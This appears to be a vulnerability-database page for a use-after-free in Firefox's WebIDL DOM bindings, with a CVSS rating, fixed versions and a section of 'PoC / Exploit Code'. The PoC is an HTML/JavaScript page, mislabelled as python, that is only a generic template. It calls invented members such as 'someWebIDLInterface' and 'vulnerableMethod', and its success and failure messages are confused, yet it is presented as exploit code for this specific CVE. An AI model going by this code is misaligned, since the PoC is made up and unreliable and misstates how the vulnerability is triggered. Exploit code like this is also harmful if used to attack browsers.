Use-after-free in the DOM: Bindings (WebIDL) component. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, and Firefox ESR 140.11.
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Firefox ESR < 115.36
Firefox ESR < 140.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC Concept for CVE-2026-8947 (WebIDL Use-After-Free)
This script attempts to trigger a UAF condition in the DOM Bindings.
-->
<html>
<body>
<script>
function trigger_uaf() {
// 1. Create a target DOM element that interacts with WebIDL
let target = document.createElement('div');
document.body.appendChild(target);
// 2. Create a reference to the WebIDL proxy object
// (Vulnerability context: specific binding interface)
let webidl_ref = target.someWebIDLInterface;
// 3. Remove the element from the DOM, triggering potential free if ref count is mishandled
document.body.removeChild(target);
// 4. Force Garbage Collection to attempt to reclaim the memory
// Note: In a real browser exploit scenario, this requires specific heap grooming
if (window.gc) {
window.gc();
}
// 5. Attempt to use the dangling pointer
// If vulnerable, this accesses freed memory leading to crash or code execution
try {
webidl_ref.vulnerableMethod();
console.log("Exploit failed: Vulnerability not triggered.");
} catch (e) {
console.log("Exception occurred: " + e.message);
}
}
// Run the trigger
trigger_uaf();
</script>
</body>
</html>